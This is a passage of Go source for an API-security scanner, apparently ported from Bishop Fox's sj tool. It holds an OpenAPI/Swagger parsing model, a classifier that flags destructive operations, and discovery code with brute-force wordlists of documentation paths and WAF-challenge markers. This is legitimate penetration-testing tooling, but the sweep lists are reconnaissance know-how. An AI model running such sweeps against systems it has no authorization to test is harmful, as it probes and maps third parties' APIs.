// endpoint rejects valid input.
package apispec
// Format identifies the kind of document a Spec was parsed from. The normalized
// model is deliberately free of OpenAPI vocabulary so that a parser for another
// description language is a sibling file returning the same *Spec.
type Format string
const (
FormatSwagger2 Format = "swagger2"
FormatOpenAPI3 Format = "openapi3"
)
// Limits bound what a hostile or merely enormous document can cost. They are
// fields rather than constants only where a caller has a legitimate reason to
// differ; the defaults are what DefaultOptions supplies.
const (
// MaxSpecBytes is checked against the raw bytes before any decode. Sized
// against real documents rather than a round number: GitHub's is 13 MB and
// Stripe's 3.7 MB, so 8 MB refused the two largest public APIs outright.
// MaxDocNodes is the real memory backstop; this only bounds the read.
MaxSpecBytes = 24 << 20
// MaxDocNodes bounds the decoded document. yaml.v3 has its own alias-ratio
// guard against billion-laughs (see decodeDocument), but that is a ratio and
// not a memory cap, so a large document can pass it and still expand.
MaxDocNodes = 2_000_000
// MaxRefDepth and MaxSchemaNodes bound schema expansion. A cycle is caught by
// the reference stack; these catch allOf/oneOf nesting that blows up
// combinatorially with no cycle anywhere.
MaxRefDepth = 32
MaxSchemaNodes = 50_000
// MaxPointerSegments bounds one JSON pointer.
MaxPointerSegments = 64
// MaxOperations bounds one document's operation count. Reaching it is
// reported as a Diagnostic rather than silently truncating.
MaxOperations = 2000
)
// Spec is a parsed API description, normalized away from its source format.
// Everything an operator can edit or send lives here; nothing here knows how the
// document was written.
type Spec struct {
ID string `json:"id"`
Format Format `json:"format"`
Version string `json:"version"` // the document's own token: "2.0", "3.0.1"
Title string `json:"title"`
Description string `json:"description,omitempty"`
APIVersion string `json:"apiVersion,omitempty"`
Servers []Server `json:"servers"`
Operations []Operation `json:"operations"`
// Auth is what the document says exists. It never holds a secret: a
// credential is supplied per render, as an Auth value.
Auth []AuthScheme `json:"auth"`
Security []SecurityRequirement `json:"security,omitempty"`
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
SourceURL string `json:"sourceUrl,omitempty"`
SizeBytes int `json:"sizeBytes"`
// Placeholders are the effective values, after withDefaults, that generated
// every Param.Default and every body in this Spec.
//
// Recorded rather than left implicit because the UI shows a generated value
// as an input hint. A Spec that did not state its own generation inputs would
// let that hint and the bytes on the wire disagree with nothing to compare
// them against — the failure this package's "bytes are truth" rule exists to
// prevent. It is also what lets two views of one document agree that they are
// looking at the same parse.
Placeholders Placeholders `json:"placeholders"`
}
// normalize materializes every collection a client iterates unconditionally.
//
// # A nil slice and an empty slice are the same value in Go and different values on the wire
//
// encoding/json writes a nil slice as null, not []. So every collection crossing
// the API boundary has to be one of exactly two things:
//
// - omitempty, so an empty one is *absent* and the client's field is optional; or
// - guaranteed non-nil here, so it is [] and the client's field is a plain array.
//
// A field that is both non-omitempty and nillable is the combination that ships
// null against a type promising an array, and it is invisible to both compilers:
// Go sees a legal nil slice, TypeScript sees a declaration it has no way to
// check. That combination is what crashed the operations view on any document
// with a requestBody-only operation — the commonest shape in OpenAPI 3.
//
// Adding a collection field to Spec or Operation means choosing one of the two,
// and if it is the second, adding it here. The corpus test pins this by
// asserting the marshalled document contains no null for these fields.
func (s *Spec) normalize() {
if s.Servers == nil {
s.Servers = []Server{}
}
if s.Operations == nil {
s.Operations = []Operation{}
}
if s.Auth == nil {
s.Auth = []AuthScheme{}
}
for i := range s.Operations {
if s.Operations[i].Params == nil {
s.Operations[i].Params = []Param{}
}
}
}
// Server is one declared origin. A document may name several, or name one
// relative to wherever it was served from; both are reported rather than
// resolved to a single answer, because picking for the operator is how a scan
// ends up pointed at the wrong host.
type Server struct {
URL string `json:"url"` // exactly as written
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"` // host[:port]
BasePath string `json:"basePath"` // "" or "/v1", never trailing "/"
Description string `json:"description,omitempty"`
Vars map[string]string `json:"vars,omitempty"`
}
// Operation is one method on one path.
type Operation struct {
ID string `json:"id"` // operationId when usable, else "get:/pets/{id}"
Method string `json:"method"`
Path string `json:"path"` // the template, braces intact
Summary string `json:"summary,omitempty"`
Description string `json:"description,omitempty"`
Tags []string `json:"tags,omitempty"`
Deprecated bool `json:"deprecated,omitempty"`
Params []Param `json:"params"`
// Bodies holds one entry per declared content type, in document order.
// Bodies[0] is what Render uses unless Values selects another. sj keeps only
// the last one a map iteration happened to yield.
Bodies []Body `json:"bodies,omitempty"`
BodyRequired bool `json:"bodyRequired,omitempty"`
// Responses is keyed exactly as the document wrote it ("200", "4XX",
// "default"). String-keyed on purpose: sj builds this with an any key and
// then looks it up with an int, so the description never resolves.
Responses map[string]string `json:"responses,omitempty"`
// Security nil means "inherit Spec.Security". A non-nil empty slice means the
// operation explicitly opts out of authentication, which is a meaningful
// statement and not the same thing.
//
// No omitempty, deliberately: it omits a non-nil empty slice exactly as it
// omits a nil one, which would erase on the wire the very distinction the
// lines above take care to build.
Security []SecurityRequirement `json:"security"`
// Destructive is advisory, computed by Classify. It never stops a render; it
// gates a send.
Destructive bool `json:"destructive,omitempty"`
DestructiveReasons []string `json:"destructiveReasons,omitempty"`
// Servers is the operation's own server list, from the operation or its path
// item. Empty means "use the document's". OpenAPI 3 allows the override and
// multi-service gateways use it.
Servers []Server `json:"servers,omitempty"`
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
}
// ParamIn is where a parameter is carried.
type ParamIn string
const (
InPath ParamIn = "path"
InQuery ParamIn = "query"
InHeader ParamIn = "header"
InCookie ParamIn = "cookie"
)
// Param is one input to an operation.
type Param struct {
Name string `json:"name"`
In ParamIn `json:"in"`
Required bool `json:"required,omitempty"`
Deprecated bool `json:"deprecated,omitempty"`
Description string `json:"description,omitempty"`
Type string `json:"type,omitempty"`
Format string `json:"format,omitempty"`
Enum []string `json:"enum,omitempty"`
// Default is the value the parser generated, already in wire form. An
// operator override arrives through Values and never mutates this, so the UI
// can keep showing it as the placeholder after the field is cleared.
Default string `json:"default"`
// ExplodedFrom names the object-schema parameter this one was split out of.
// An OpenAPI 3 query parameter whose schema is an object becomes one Param
// per property, which is the only place the parser invents a name. Render
// regroups them by this to rebuild the wire form the style calls for.
ExplodedFrom string `json:"explodedFrom,omitempty"`
// Style and Explode select the serialization. Render reads both; the pair
// decides whether an object goes out as "?a=1&b=2", "?o=a,1,b,2" or
// "?o[a]=1&o[b]=2", which are three different requests.
Style string `json:"style,omitempty"`
Explode bool `json:"explode,omitempty"`
// ContentType is set when the document declared the parameter with `content`
// rather than `schema`, meaning its value is a serialized media type.
ContentType string `json:"contentType,omitempty"`
}
// BodyEncoding is how a Body's bytes were built, which is what the UI needs to
// choose an editor and what Render needs to leave alone.
type BodyEncoding string
const (
EncJSON BodyEncoding = "json"
EncXML BodyEncoding = "xml"
EncForm BodyEncoding = "form"
EncMultipart BodyEncoding = "multipart"
EncRaw BodyEncoding = "raw"
)
// Body is one request body variant.
type Body struct {
ContentType string `json:"contentType"`
Encoding BodyEncoding `json:"encoding"`
Content []byte `json:"content"`
Fields []string `json:"fields,omitempty"`
// Boundary is stored with the bytes it framed. Regenerating one at render
// time, as sj does, produces a Content-Type that does not describe the body.
Boundary string `json:"boundary,omitempty"`
}
// AuthKind is a security scheme's type, normalized across v2 and v3 spellings.
type AuthKind string
const (
AuthBasic AuthKind = "basic"
AuthBearer AuthKind = "bearer"
AuthAPIKey AuthKind = "apiKey"
AuthHTTPOther AuthKind = "http"
AuthOAuth2 AuthKind = "oauth2"
AuthOpenID AuthKind = "openIdConnect"
AuthMutualTLS AuthKind = "mutualTLS"
)
// AuthScheme is one way the document says a request may authenticate.
//
// Both spellings are read: OpenAPI 3's components.securitySchemes and Swagger
// 2's securityDefinitions. sj reads only the former, so a v2 document gets no
// authentication at all.
type AuthScheme struct {
Name string `json:"name"` // the key under the document's scheme map
Kind AuthKind `json:"kind"`
In ParamIn `json:"in,omitempty"` // apiKey only
ParamName string `json:"paramName,omitempty"` // apiKey only
Scheme string `json:"scheme,omitempty"` // raw http scheme token
BearerFormat string `json:"bearerFormat,omitempty"`
Description string `json:"description,omitempty"`
// Automatable is false for oauth2, openIdConnect and mutualTLS: Joro cannot
// obtain those credentials, only carry one the operator supplied.
Automatable bool `json:"automatable"`
}
// SecurityRequirement is one alternative: every scheme named in it must be
// satisfied. A slice of these is a disjunction.
type SecurityRequirement struct {
Schemes []string `json:"schemes"`
Scopes map[string][]string `json:"scopes,omitempty"`
}
// DiagKind classifies what could not be done.
type DiagKind string
const (
DiagExternalRef DiagKind = "external_ref" // refused, never fetched
DiagUnresolvedRef DiagKind = "unresolved_ref" // "#/..." pointing at nothing
DiagRefCycle DiagKind = "ref_cycle"
DiagDepthExceeded DiagKind = "depth_exceeded"
DiagNodeBudget DiagKind = "node_budget"
DiagDuplicateKey DiagKind = "duplicate_key"
DiagTruncated DiagKind = "truncated"
DiagUnsupported DiagKind = "unsupported"
DiagMalformed DiagKind = "malformed"
)
// Diagnostic is one thing the parser refused or could not complete.
type Diagnostic struct {
Kind DiagKind `json:"kind"`
Ref string `json:"ref,omitempty"` // the offending $ref, member or content type
Pointer string `json:"pointer,omitempty"` // where: "/paths/~1pets/get/requestBody"
Detail string `json:"detail,omitempty"`
}
// Values overrides the parser's generated defaults for one render. Keys are
// ValueKey(in, name); the reserved keys "body" and "contentType" carry the whole
// body and the selection among Operation.Bodies. An absent key means "use what
// the parser generated"; a present key with an empty value means "send it empty",
// which is a different and useful test.
type Values map[string]string
// ValueKey builds the Values key for one parameter.
func ValueKey(in ParamIn, name string) string { return string(in) + ":" + name }
// Reserved Values keys.
const (
ValueKeyBody = "body"
ValueKeyContentType = "contentType"
)
// Options tunes a parse.
type Options struct {
// SourceURL is where the document was served from. It is the base for a
// relative server URL and is recorded on the Spec; it is never fetched.
SourceURL string
// Placeholders supplies the generated values. The zero value is filled in
// from DefaultPlaceholders.
//
// A placeholder is an input to the *parse*, not to a render: it is baked into
// Param.Default and into body bytes, which no per-request substitution
// reaches. So changing one means parsing the document again, and the effective
// values are recorded on the resulting Spec. RenderOptions deliberately has no
// counterpart — a per-request placeholder would re-decode a multi-megabyte
// document on every preview, and would move the wire bytes while the UI kept
// showing the values of the parse it still holds.
Placeholders Placeholders
// DestructiveWhitelist names keywords to stop treating as destructive, for a
// target whose vocabulary collides with the list ("order" on a commerce API
// that only reads orders).
DestructiveWhitelist []string
}
// Placeholders are the values generated for a schema that declares no example
// and no enum. The defaults match sj's, so a Joro-generated request and an
// sj-generated request for the same document agree.
type Placeholders struct {
String string `json:"string"` // sj: --test-string, default "bishopfox"
Date string `json:"date"` // sj: -d, default "1990-01-01"
URL string `json:"url"` // sj: -c, default "https://bishopfox.com"
Email string `json:"email"` // sj: --custom-email
}
// DefaultPlaceholders returns sj's defaults.
func DefaultPlaceholders() Placeholders {
return Placeholders{
String: "bishopfox",
Date: "1990-01-01",
URL: "https://bishopfox.com",
Email: "[email protected]",
}
}
// withDefaults fills empty fields, so a caller may set only what it cares about.
func (p Placeholders) withDefaults() Placeholders {
d := DefaultPlaceholders()
if p.String == "" {
p.String = d.String
}
if p.Date == "" {
p.Date = d.Date
}
if p.URL == "" {
p.URL = d.URL
}
if p.Email == "" {
p.Email = d.Email
}
return p
}
+137
View File
@@ -0,0 +1,137 @@
package apispec
import "strings"
// destructiveWords are the verbs that suggest an operation changes something the
// operator would not want changed on a live target. Ported from sj, whose
// judgement here is sound: an API scanner that silently issues POST /purchase is
// a liability, and the cost of asking first is one click.
var destructiveWords = []string{
"add", "block", "build", "buy", "cancel", "change", "clear", "create", "delete",
"deploy", "destroy", "disable", "drop", "edit", "emergency", "erase", "execute",
"insert", "kill", "modify", "order", "overwrite", "pause", "purchase", "purge",
"rebuild", "remove", "replace", "reset", "restart", "revoke", "run", "sell",
"send", "set", "shutdown", "start", "stop", "terminate", "truncate", "update",
"upload", "wipe", "write",
}
// destructiveMethods are methods whose semantics are destructive regardless of
// what the path is called.
var destructiveMethods = map[string]string{
"DELETE": "DELETE removes the addressed resource",
"PATCH": "PATCH modifies the addressed resource",
}
// Classify reports whether an operation looks destructive, and why.
//
// It is advisory: it never blocks a render, only a send, and the caller decides
// whether to honor it. Two differences from sj matter.
//
// First, this runs at parse time over the method, path, operationId and summary.
// sj checks the interpolated URL at send time, reading u.RawPath + "?" +
// u.RawQuery — and RawPath is empty for any URL that needed no escaping, so on
// most targets the gate inspects only the query string and never fires at all.
//
// Second, sj drops DELETE and PATCH operations during parsing, so they are
// invisible. Reporting them instead means the operator can see the whole API
// surface and tick the one they meant to test.
func Classify(method, path, opID, summary string, whitelist []string) (bool, []string) {
var reasons []string
method = strings.ToUpper(method)
if reason, ok := destructiveMethods[method]; ok {
reasons = append(reasons, reason)
}
skip := make(map[string]bool, len(whitelist))
for _, w := range whitelist {
skip[strings.ToLower(strings.TrimSpace(w))] = true
}
haystack := splitWords(path + " " + opID + " " + summary)
for _, word := range destructiveWords {
if skip[word] {
continue
}
if containsWord(haystack, word) {
reasons = append(reasons, "mentions "+word)
}
}
return len(reasons) > 0, reasons
}
// containsWord matches a keyword against one end of an identifier, so "orders"
// and "reorder" both match "order" while "borders" does not. A plain substring
// test — which is what sj does — flags every path containing "border", "asset"
// (set) and similar, and an operator who learns the gate cries wolf will disable
// it.
//
// One boundary, not two: "orders" and "createOrder" are how this operation is
// ordinarily spelled, and both put a letter against one side. The cost is that a
// bare "border" reads as "order" — no boundary rule separates it from "reorder"
// — and the failures are not equal: a false positive costs a click, a false
// negative sends a live POST to a payment endpoint.
func containsWord(haystack, word string) bool {
for i := 0; ; {
idx := strings.Index(haystack[i:], word)
if idx < 0 {
return false
}
start := i + idx
end := start + len(word)
if !isWordByte(haystack, start-1) || !isWordByte(haystack, end) {
return true
}
i = start + 1
if i >= len(haystack) {
return false
}
}
}
// splitWords lowercases the haystack, breaking camelCase and separators apart.
//
// Without it "createOrder" is one token "createorder", where both keywords have
// a letter on each side and neither matches — and operationId is the field most
// likely to name the verb.
func splitWords(s string) string {
var b strings.Builder
b.Grow(len(s) + 8)
for i := 0; i < len(s); i++ {
c := s[i]
switch {
case c >= 'A' && c <= 'Z':
// Split at the "O" of createOrder, not inside the "URL" of parseURL.
if i > 0 && isLowerOrDigit(s[i-1]) {
b.WriteByte(' ')
}
b.WriteByte(c + 32)
case c >= 'a' && c <= 'z', c >= '0' && c <= '9':
b.WriteByte(c)
default:
b.WriteByte(' ')
}
}
return b.String()
}
func isLowerOrDigit(c byte) bool {
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
}
// isWordByte reports whether the byte at i continues an identifier. Out-of-range
// counts as a boundary.
func isWordByte(s string, i int) bool {
if i < 0 || i >= len(s) {
return false
}
c := s[i]
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
}
// DefaultMethods is the method whitelist a run starts with: everything except
// the two whose semantics are destructive on their own.
func DefaultMethods() []string {
return []string{"GET", "POST", "PUT", "HEAD", "OPTIONS", "TRACE"}
}
+354
View File
@@ -0,0 +1,354 @@
package apispec
import (
"net/url"
"regexp"
"strings"
)
// CandidateSet selects how wide a discovery sweep goes.
type CandidateSet string
const (
// CandidatePriority is the 87-path list tried directly. This is the default,
// and the reason is not politeness: every candidate is sent through Joro's
// own proxy and therefore occupies a row in the capture store, which is a
// ring buffer. A full sweep is thousands of rows and can evict the
// operator's real traffic — the one place where routing through the proxy,
// otherwise the whole point, costs something.
CandidatePriority CandidateSet = "priority"
// CandidateFull crosses every prefix with every endpoint name. Thousands of
// requests; offer it with the eviction consequence stated.
CandidateFull CandidateSet = "full"
)
// CandidatePaths builds the ordered candidate list for a sweep.
//
// Order matters and is sj's: HTML UI pages first, because one hit there names
// the document directly and makes the rest of the sweep unnecessary; then the
// priority paths; then the JavaScript bundles; then the JSON names in three
// suffix forms. Duplicates are removed across the whole list, not just within
// each source.
func CandidatePaths(basePath string, set CandidateSet) []string {
base := normalizeBasePath(basePath)
seen := map[string]bool{}
var out []string
add := func(p string) {
if p == "" {
p = "/"
}
if !strings.HasPrefix(p, "/") {
p = "/" + p
}
if seen[p] {
return
}
seen[p] = true
out = append(out, p)
}
cross := func(endpoints []string, suffix string) {
for _, dir := range prefixDirs {
for _, ep := range endpoints {
if dir == "" && ep == "" {
continue
}
add(base + dir + ep + suffix)
}
}
}
for _, ep := range htmlEndpoints {
add(base + ep + ".html")
}
for _, p := range priorityURLs {
add(base + p)
}
if set != CandidateFull {
return out
}
cross(htmlEndpoints, ".html")
cross(javascriptEndpoints, ".js")
cross(jsonEndpoints, "")
cross(jsonEndpoints, ".json")
cross(jsonEndpoints, "/")
return out
}
// BodyKind is what a discovery response turned out to be.
type BodyKind string
const (
KindSpec BodyKind = "spec" // parsed as a document with paths
KindWeak BodyKind = "weak" // looks document-shaped but did not parse
KindReference BodyKind = "reference" // a page or script naming a document
KindChallenge BodyKind = "challenge" // a WAF or bot-check interstitial
KindSkip BodyKind = "skip" // binary or otherwise uninteresting
KindNone BodyKind = "none"
)
// skipContentTypes are types that cannot carry a document. Checking these first
// avoids running regexes over images and archives.
var skipContentTypes = []string{
"image/", "video/", "audio/", "font/", "text/css",
"application/zip", "application/pdf", "application/octet-stream",
}
// ShouldSkipContentType reports whether a response body is worth examining.
func ShouldSkipContentType(contentType string) bool {
ct := strings.ToLower(contentType)
for _, skip := range skipContentTypes {
if strings.Contains(ct, skip) {
return true
}
}
return false
}
// challengeMarkers are strings that appear in bot-check interstitials. A run
// that collects these is being answered by a WAF, and continuing wastes
// thousands of requests to learn nothing.
var challengeMarkers = []string{
"cf-browser-verification", "cf_chl_opt", "cf-challenge", "__cf_chl",
"just a moment...", "checking your browser", "ddos protection by",
"attention required! | cloudflare", "please enable cookies",
"access denied", "request unsuccessful. incapsula",
"incapsula incident id", "_incapsula_resource",
}
// LooksLikeChallenge reports whether a body is a bot-check interstitial.
func LooksLikeChallenge(body []byte) bool {
// Bound the scan: a challenge page is small and its markers are near the top.
window := body
if len(window) > 64<<10 {
window = window[:64<<10]
}
lower := strings.ToLower(string(window))
for _, marker := range challengeMarkers {
if strings.Contains(lower, marker) {
return true
}
}
return false
}
// LooksLikeHTMLDocument reports whether a body is an HTML page, for a response
// whose Content-Type lied or was absent.
func LooksLikeHTMLDocument(body []byte) bool {
window := body
if len(window) > 2048 {
window = window[:2048]
}
lower := strings.ToLower(strings.TrimSpace(string(window)))
return strings.HasPrefix(lower, "<!doctype html") ||
strings.HasPrefix(lower, "<html") ||
strings.Contains(lower, "<head")
}
// docUIMarkers name the API-documentation UI frameworks that embed or reference
// the document they render, each by strings unambiguous enough that an ordinary
// web page never carries them. Order is match priority; the Swagger entry leads
// because it is far and away the common case. The Swagger bundle names overlap
// uiBundleNames on purpose — the same scripts that are skipped when hunting for
// an embedded document are what positively identify the page as Swagger UI.
var docUIMarkers = []struct {
label string
markers []string
}{
{"Swagger UI", []string{
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui.css",
"swaggeruibundle", `id="swagger-ui"`, "id='swagger-ui'",
"swagger-ui-init", "<title>swagger ui",
}},
{"ReDoc", []string{"redoc.standalone", "<redoc", "redoc.init("}},
{"RapiDoc", []string{"<rapi-doc", "rapidoc-min.js"}},
{"Stoplight Elements", []string{"<elements-api", "@stoplight/elements"}},
{"Scalar", []string{"scalar.min.js", "@scalar/api-reference"}},
}
// DetectDocUI reports which API-documentation UI framework an HTML page is, or
// "" if it is just an HTML page. A doc UI embeds or names the document it loads,
// so naming it turns the most common load failure into the next action; a plain
// page must not be mislabelled as one.
func DetectDocUI(body []byte) string {
// Bound the scan: these markers sit in the page head, near the top.
window := body
if len(window) > 64<<10 {
window = window[:64<<10]
}
lower := strings.ToLower(string(window))
for _, ui := range docUIMarkers {
for _, m := range ui.markers {
if strings.Contains(lower, m) {
return ui.label
}
}
}
return ""
}
var (
// specKeyRe matches a "url:" / "configUrl:" / "specUrl:" assignment, which is
// how a Swagger UI page names the document it loads.
specKeyRe = regexp.MustCompile(`(?i)"?(?:config|spec)?url"?\s*:\s*["']([^"']+)["']`)
// specAttrRe matches a spec-url attribute or a plain href/src.
specAttrRe = regexp.MustCompile(`(?i)(?:spec-url|data-url|href|src)\s*=\s*["']([^"']+)["']`)
// discoveryPathsRe matches Swashbuckle's discoveryPaths initializer.
discoveryPathsRe = regexp.MustCompile(`(?i)discoveryPaths\s*:\s*arrayFrom\(\s*['"]([^'"]+)['"]`)
// specTokenRe finds a URL-shaped token anywhere in a body, quoted or not.
//
// The targeted patterns above only fire on `url: "literal"`. A Swagger UI
// initializer frequently computes the value instead — petstore3's picks it
// out of a host-to-URL table held in a template literal and assigns
// `url: definitionURL` — so the document is plainly present in the file and
// none of the key/attribute regexes can see it. Matching URL shapes and
// letting LooksLikeSpecReference and the caller's same-host rule do the
// filtering catches those without loosening either.
specTokenRe = regexp.MustCompile(`(?i)(https?://[^\s"'` + "`" + `,;()<>]+|/[A-Za-z0-9_./~-]*(?:openapi|swagger|api-docs|apispec)[A-Za-z0-9_./~-]*)`)
)
// uiBundleNames are Swagger UI's own scripts. They are libraries, not
// initializers, so there is no point scanning them for an embedded document.
var uiBundleNames = []string{
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui-es-bundle",
"swagger-ui-es-bundle-core", "swagger-ui-layout", "swagger-ui-plugins",
"swagger-ui.min", "swagger-ui.js", "swagger-ui.css",
}
// LooksLikeSwaggerInit reports whether a script URL is worth reading for an
// embedded document, as opposed to being one of Swagger UI's own bundles.
func LooksLikeSwaggerInit(rawURL string) bool {
path := strings.ToLower(urlPath(rawURL))
if !strings.HasSuffix(path, ".js") {
return false
}
for _, bundle := range uiBundleNames {
if strings.Contains(path, bundle) {
return false
}
}
return true
}
// LooksLikeSpecReference filters extracted references down to ones that could
// name a document, so a sweep does not chase every stylesheet on a page.
func LooksLikeSpecReference(ref string) bool {
lower := strings.ToLower(ref)
if lower == "" || strings.HasPrefix(lower, "#") || strings.HasPrefix(lower, "data:") ||
strings.HasPrefix(lower, "javascript:") || strings.HasPrefix(lower, "mailto:") {
return false
}
for _, ext := range []string{".css", ".png", ".jpg", ".jpeg", ".gif", ".svg", ".ico", ".woff", ".woff2", ".ttf", ".map"} {
if strings.HasSuffix(urlPath(lower), ext) {
return false
}
}
for _, bundle := range uiBundleNames {
if strings.Contains(lower, bundle) {
return false
}
}
for _, hint := range []string{"api-docs", "openapi", "swagger.json", "swagger.yaml", "swagger.yml", "api-json", "swagger-resources", "apispec"} {
if strings.Contains(lower, hint) {
return true
}
}
p := urlPath(lower)
for _, ext := range []string{".json", ".yaml", ".yml", "-json", "_json"} {
if strings.HasSuffix(p, ext) {
return true
}
}
return strings.HasSuffix(p, ".js")
}
// ExtractSpecRefs pulls candidate document URLs out of an HTML page or a
// JavaScript initializer, resolved against the page they came from.
//
// Resolution deliberately returns absolute URLs so the caller can enforce that a
// reference stays on the run's own host. sj follows any absolute reference it
// finds, which lets a page a target controls redirect the sweep onto a third
// party — a scope escape, and one the operator never asked for.
func ExtractSpecRefs(body []byte, pageURL string) []string {
window := body
if len(window) > 512<<10 {
window = window[:512<<10]
}
text := string(window)
seen := map[string]bool{}
var out []string
add := func(ref string) {
ref = strings.TrimSpace(ref)
if !LooksLikeSpecReference(ref) {
return
}
abs := resolveRefURL(pageURL, ref)
if abs == "" || seen[abs] {
return
}
seen[abs] = true
out = append(out, abs)
}
// Targeted patterns first, so a document the page names explicitly is
// followed before anything merely URL-shaped.
for _, re := range []*regexp.Regexp{specKeyRe, discoveryPathsRe, specAttrRe} {
for _, m := range re.FindAllStringSubmatch(text, 64) {
if len(m) > 1 {
add(m[1])
}
}
}
for _, m := range specTokenRe.FindAllStringSubmatch(text, 128) {
if len(m) > 1 {
add(m[1])
}
}
return out
}
// resolveRefURL resolves a possibly-relative reference against the page URL.
func resolveRefURL(pageURL, ref string) string {
base, err := url.Parse(pageURL)
if err != nil {
return ""
}
u, err := url.Parse(ref)
if err != nil {
return ""
}
resolved := base.ResolveReference(u)
if resolved.Scheme != "http" && resolved.Scheme != "https" {
return ""
}
resolved.Fragment = ""
return resolved.String()
}
// SameHost reports whether a discovered reference stays on the run's target.
func SameHost(a, b string) bool {
ua, err := url.Parse(a)
if err != nil {
return false
}
ub, err := url.Parse(b)
if err != nil {
return false
}
return strings.EqualFold(ua.Host, ub.Host)
}
func urlPath(rawURL string) string {
if u, err := url.Parse(rawURL); err == nil && u.Path != "" {
return u.Path
}
if i := strings.IndexAny(rawURL, "?#"); i >= 0 {
return rawURL[:i]
}
return rawURL
}
+75
View File
@@ -0,0 +1,75 @@
package apispec
// Discovery wordlists, ported from sj's brute command.
//
// Go slices rather than an embedded file, following the repo's split: go:embed
// carries third-party or built artifacts (html2canvas, the frontend bundle),
// while our own data is a slice literal, as internal/shell's dictionary is.
//
// sj's lists contain a few duplicate entries; these are deduplicated, which is
// worth doing because every duplicate is a wasted request against a live target.
// prefixDirs are directory prefixes crossed with each endpoint list.
var prefixDirs = []string{
"", "/swagger", "/swagger/docs", "/swagger/latest", "/swagger/v1",
"/swagger/v2", "/swagger/v3", "/swagger/static", "/swagger/ui",
"/swagger-ui", "/api-docs", "/api-docs/v1", "/api-docs/v2", "/apidocs",
"/api", "/api/v1", "/api/v2", "/api/v3", "/v1", "/v2", "/v3", "/doc",
"/docs", "/docs/swagger", "/docs/swagger/v1", "/docs/swagger/v2",
"/docs/swagger-ui", "/docs/swagger-ui/v1", "/docs/swagger-ui/v2",
"/docs/v1", "/docs/v2", "/docs/v3", "/public", "/redoc",
}
// jsonEndpoints are document names tried under each prefix, with and without a suffix.
var jsonEndpoints = []string{
"", "/index", "/swagger", "/swagger-ui", "/swagger-resources",
"/swagger-config", "/openapi", "/api", "/api-docs", "/apidocs", "/v1",
"/v2", "/v3", "/doc", "/docs", "/apispec", "/apispec_1", "/api-merged",
}
// javascriptEndpoints are Swagger UI bundles that may carry an embedded document or name one.
var javascriptEndpoints = []string{
"/swagger-ui-init", "/swagger-ui-bundle", "/swagger-ui-standalone-preset",
"/swagger-ui", "/swagger-ui.min", "/swagger-ui-es-bundle-core",
"/swagger-ui-es-bundle", "/swagger-ui-layout", "/swagger-ui-plugins",
}
// htmlEndpoints are Swagger UI pages, which name the document they load.
var htmlEndpoints = []string{
"/index", "/swagger", "/swagger-ui", "/api-docs",
}
// priorityURLs are full paths tried directly, without prefix crossing. The long tail is product-specific.
var priorityURLs = []string{
"/swagger.json", "/openapi.json", "/api-docs", "/swagger", "/docs",
"/api/swagger.json", "/api/openapi.json", "/api-docs/swagger.json",
"/api/schema/", "/webjars/swagger-ui/index.html", "/API/swagger/ui/index",
"/swagger/ui/index", "/v2/swagger.json", "/v2/openapi.json", "/v2/api-docs",
"/v3/api-docs", "/v3/openapi.json", "/public/api-merged.json",
"/analytics/v1/swagger", "/api.json", "/api/4.0/swagger.json",
"/api/api-doc/openapi.json", "/api/api-doc/openapi.yaml", "/api/doc.json",
"/api/docs.json", "/api/swagger", "/api/swagger/ui/index",
"/api/v1/swagger", "/api/v2/api-docs", "/api/v2/openapi.json",
"/api/v2/swagger.json", "/api/v3/api-docs", "/api/v3/apispec",
"/api/workorder/openapi.json", "/apidocs", "/audiences/v1/swagger",
"/audittrail/v1/swagger", "/certification/v1/swagger",
"/citrixapi/store/swagger.json", "/conferencetool/v1/swagger",
"/course/v1/swagger", "/dcl_swagger.yaml", "/doc/doc.json",
"/doc/swagger.json", "/docs/swagger.json", "/docs/v1/swagger.json",
"/ecommerce/v1/swagger", "/enrollment/v1/swagger",
"/externalids/v1/swagger", "/impact/v1/swagger", "/learn/v1/swagger",
"/learningplan/v1/swagger", "/manage/v1/swagger", "/management/info",
"/marketplace/v1/swagger", "/messenger/v1/swagger",
"/notifications/v1/swagger", "/openapi", "/openapi/spec.json",
"/otj/v1/swagger", "/pages/v1/swagger", "/poweruser/v1/swagger",
"/proctoring/v1/swagger", "/report/v1/swagger", "/swagger-ui/index.html",
"/swagger-ui/openapi.json", "/swagger.yaml", "/swagger/0.1.0/swagger.json",
"/swagger/doc.json", "/swagger/latest/swagger.json",
"/swagger/swagger.json", "/swagger/test/swagger.json",
"/swagger/ui/index.html", "/swagger/v1/openapiv2.json",
"/swagger/v1/swagger.json", "/swagger/v2/swagger.json",
"/swagger/v4/swagger.json", "/v1/openapi.json", "/v1/swagger",
"/v1/swagger.json", "/swagger/docs/v1", "/swagger/docs/v1.json",
"/Api/swagger/docs/v1", "/api/api-docs/swagger.json", "/api/docs/",
"/api/docs", "/swagger-ui",
}
+116
View File
@@ -0,0 +1,116 @@
package apispec
import "strings"
// parseAuthSchemes reads both spellings of the security-scheme map.
//
// OpenAPI 3 puts them under components.securitySchemes; Swagger 2 puts them at
// the document root under securityDefinitions, with "basic" as a type rather
// than as a scheme of type "http". sj reads only the OpenAPI 3 spelling, so a
// Swagger 2 document — the format it was written to audit — yields no
// authentication at all.
func parseAuthSchemes(doc map[string]any, format Format) []AuthScheme {
raw := map[string]any{}
if format == FormatSwagger2 {
if m, ok := doc["securityDefinitions"].(map[string]any); ok {
raw = m
}
} else if components, ok := doc["components"].(map[string]any); ok {
if m, ok := components["securitySchemes"].(map[string]any); ok {
raw = m
}
}
out := make([]AuthScheme, 0, len(raw))
for _, name := range sortedKeys(raw) {
m, ok := raw[name].(map[string]any)
if !ok {
continue
}
out = append(out, authScheme(name, m))
}
return out
}
func authScheme(name string, m map[string]any) AuthScheme {
s := AuthScheme{
Name: name,
Scheme: strings.ToLower(stringMember(m, "scheme")),
BearerFormat: stringMember(m, "bearerFormat"),
Description: stringMember(m, "description"),
Automatable: true,
}
switch strings.ToLower(stringMember(m, "type")) {
case "basic":
// Swagger 2 spelling.
s.Kind = AuthBasic
case "http":
switch s.Scheme {
case "basic":
s.Kind = AuthBasic
case "bearer":
s.Kind = AuthBearer
default:
s.Kind = AuthHTTPOther
}
case "apikey":
